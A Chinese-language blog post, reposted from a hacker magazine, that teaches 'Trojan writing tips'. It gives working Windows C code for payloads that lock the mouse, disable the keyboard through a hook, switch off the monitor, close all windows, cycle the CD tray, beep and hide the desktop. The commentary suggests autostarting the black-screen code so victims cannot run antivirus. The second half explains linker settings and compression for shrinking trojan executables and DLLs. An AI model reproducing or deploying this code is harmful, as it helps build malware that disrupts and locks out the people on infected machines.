木馬編寫小技巧
分享一下我老師大神的人工智慧教程!零基礎,通俗易懂!http://blog.csdn.net/jiangjunshow
也歡迎大家轉載本篇文章。分享知識,造福人民,實現我們中華民族偉大復興!
1.鎖定滑鼠:這個功能很簡單隻要一個ClipCursor()就可以搞定了看看下面的小程式
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
printf("/n別害怕15妙後你的滑鼠就可以使用了^_^/n");
RECT rect;
rect.bottom=1;
rect.right=1;
ClipCursor(&rect);
::Sleep(15000);
ClipCursor(NULL);//釋放
return 0;
}
注:本文於06/12月於黑客防線發表版權歸黑客防線所有,轉載請註明出處
rect是一個結構,表示鎖定的範圍我們通常只用 bottom和right兩個域
2.鎖定鍵盤:
鎖鍵盤一般用鉤子實現,所以難度稍大,不過下面這個程式當簡單,而且連鉤子所需要DLL也省了
#include <stdio.h>
#include <windows.h>
//處理按鍵訊息的過程函式
LRESULT CALLBACK keyproc( int code,
WPARAM wParam,
LPARAM lParam )
{
return 1;//返回1可使鍵盤停止響應
}
main(int argc, char* argv[])
{
SetWindowsHookEx(WH_KEYBOARD,keyproc,GetModuleHandle(NULL),0);//安裝鍵盤鉤子
printf("/n/n/n程式將在15妙之後返回...嘿嘿15妙內你的鍵盤是無法工作的哦/n");
::Sleep(15000);
}
注:本文於06/12月於黑客防線發表版權歸黑客防線所有,轉載請註明出處
上面的程式碼是參考了6期“全域性鉤子”和7期“楚茗”的文章寫成的,使用鉤子而無DLL的關鍵就在於GetModuleHandle(NULL),GetModuleHandle()引數為NULL得到的是呼叫者本身的模組控制代碼,也就是說用程式本身作為DLL。因為是console程式,所以隨著程式的結束鉤子也就OVER了,所以我並沒有解除安裝鉤子。鉤子果然是強大,學會使用鉤子你的水平就不一般了^_^.
3.關閉顯視器
這個也是相當簡單的看看程式碼:
#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,2);//關閉
::Sleep(10000);
SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,-1);//開啟
return 0;
}
要是你夠毒的話可以讓它自動執行,開機就黑屏,任你防毒水平再高,沒有顯示器看你怎麼殺…….嘿嘿
4.關閉所有視窗
原理是列舉所有視窗控制代碼,然後傳送WM_CLOSE訊息來關閉視窗,效果蠻好就差沒重起
#include <windows.h>
BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
EnumWindows(EnumWindowsProc,0);//將視窗控制代碼傳給回撥函式處理
return 0;
}
BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam)//回撥函式
{
::PostMessage(hwnd,WM_CLOSE,0,0);//結束視窗
return (true);//返回FALSE時EnumWindows結束
}
程式用EnumWindows()列舉所有視窗並把視窗控制代碼傳給回撥函式EnumWindowsProc,而回調函式的任務就是CLOSE!,呵呵
5.鎖定光碟機
其實說讓“光碟機跳舞”更合適,以下的程式可以開啟並關閉光碟機
#include <mmsystem.h>//注意加入標頭檔案
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
::mciSendString("set cdaudio door open",NULL,0,NULL);//開啟
::mciSendString("set cdaudio door closed wait",NULL,0,NULL);//關閉
return 0;
}
//注意在 工程-設定-LINK中加入庫檔名winmm.lib
如果你弄個死迴圈,就可以讓他的光碟機好好活動活動了^_^
6.製造噪音
大多時候我們要隱藏自己,但有時候我們就需要給對方放點音樂,小小的“提示”一下以證明我們的存在
#include<windows.h>
main()
{
for(int j=450;j<500;j++)
{
for(int i=1000;i<1110;i++)
{
Beep(i,30);
::Sleep(100);
}
}
}
關鍵就是一個Beep()第一個引數為赫茲第二個為音長你可以自己試一下,弄點好聽的。
7.隱藏桌面
其實桌面與工作列也是一種視窗,我們可以通過FindWindow來查詢它們的控制代碼,然後通過ShowWindow()來隱藏或顯視,其中桌面類名為ProgMan工作列類名為Shell_TrayWnd。
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
HWND disk,mask;
disk=FindWindow("ProgMan",NULL);
mask=FindWindow("Shell_TrayWnd",NULL);
ShowWindow(mask,SW_HIDE);//隱藏工作列
ShowWindow(disk,SW_HIDE);//隱藏桌面
printf("/n15妙後會自動出現桌面 請等待...../n");
Sleep(15000);
ShowWindow(mask,SW_SHOW);//顯示
ShowWindow(disk,SW_SHOW);//顯示
return 0;
}
縮小木馬大小,
1. 普通Exe 檔案
完全可以使用下面方法:
A. link標記: /nodefaultlib
代表: Ignore all default libraries
包括執行時庫, 都不用.
當然如果大家要用相關c執行時庫的api 怎麼辦呢?
可以使用相關對應的API, 比如strcmpi, 使用lstrcmpi, 詳細請參考下表:
Standard function |
Win32 equivalent |
---|---|
malloc | HeapAlloc |
free | HeapFree |
strcpy | lstrcpy |
strcat | lstrcat |
strncpy | lstrncpy |
strncat | lstrncat |
strlen | lstrlen |
strcmp | lstrcmp |
strcmpi | lstrcmpi |
memcpy | CopyMemory |
memset | FillMemory or ZeroMemory |
memmove | MoveMemory |
toupper | CharUpper |
tolower | CharLower |
isalpha | IsCharAlpha |
isalnum | IsCharAlphaNumeric |
islower | IsCharLower |
isupper | IsCharUpper |
sprintf | wsprintf |
vsprintf | wvsprint |
B. 設定連線節大小及其他
加入下面程式碼到cpp檔案就可以.
#ifndef _DEBUG
#pragma comment(linker, "/FILEALIGN:16")
#pragma comment(linker, "/ALIGN:16")
#pragma comment(linker, "/OPT:REF")
#pragma comment(linker, "/OPT:ICF")
#pragma comment(linker, "/OPT:NOWIN98") // 使用老VC編繹器的512大小為一節
// 合併段
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/MERGE:.reloc=.data")
// Favour small code
#pragma comment(linker, "/ENTRY:WinMain")
#endif
如果是少量程式碼的Exe 程式, 最終大小可以在1500 位元組以內.
我曾寫過一個程式使用了檔案讀寫, 執行程序, 字元運算, 等等一共50多行程式碼, 最終大小為: 1488位元組.
C. 不幸的是可能還是要使用c執行庫
那可以使用這個 LIBCTINY.LIB檔案, 以儘量減小. 當然這個lib 本身包括不多的執行庫api.
LIBCTINY.LIB 檔案以及源程式參考:
http://msdn.microsoft.com/msdnmag/issues/01/01/hood/default.aspx
2. 普通Dll 大小問題
因為: __DllMainCRTStartup 或: _DllMainCRTStartup 要呼叫執行時庫
還好, LIBCTINY.LIB 裡面已經有相關實現, 可以用LIBCTINY.LIB, 而不用呼叫執行庫了. 這樣可以大大減小.
連線設定:
#ifndef _DEBUG
// default lib setting.
#pragma comment(linker, "/defaultlib:kernel32.lib")
#pragma comment(linker, "/defaultlib:LIBCTINY.LIB")
#pragma comment(linker, "/nodefaultlib:libc.lib")
#pragma comment(linker, "/nodefaultlib:libcmt.lib")
// section size
#pragma comment(linker, "/FILEALIGN:16")
#pragma comment(linker, "/ALIGN:16")
#pragma comment(linker, "/OPT:NOWIN98")
// 合併段
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/MERGE:.reloc=.data")
#endif
另外我的測試程式中匯出了一個介面
BOOL _stdcall ExpHook( )
{
return 0;
}
最終大小為: 992位元組.
3. 複雜Dll 和複雜Exe 大小問題
如果你的程式一定要使用MFC, 那怎麼編繹至少也有幾十KB了.
但你還是可以用相關PE壓縮程式壓縮一下的. 至少能壓縮到50%.
如果是COM, 建議不要使用MFC, 如果使用ATL, 可以使用壓縮程式壓縮一下, 基本會在20-40K 大小.
複雜型別的Dll, Exe 肯定是要使用執行庫的. 像用了ATL就沒有辦法不用執行庫了.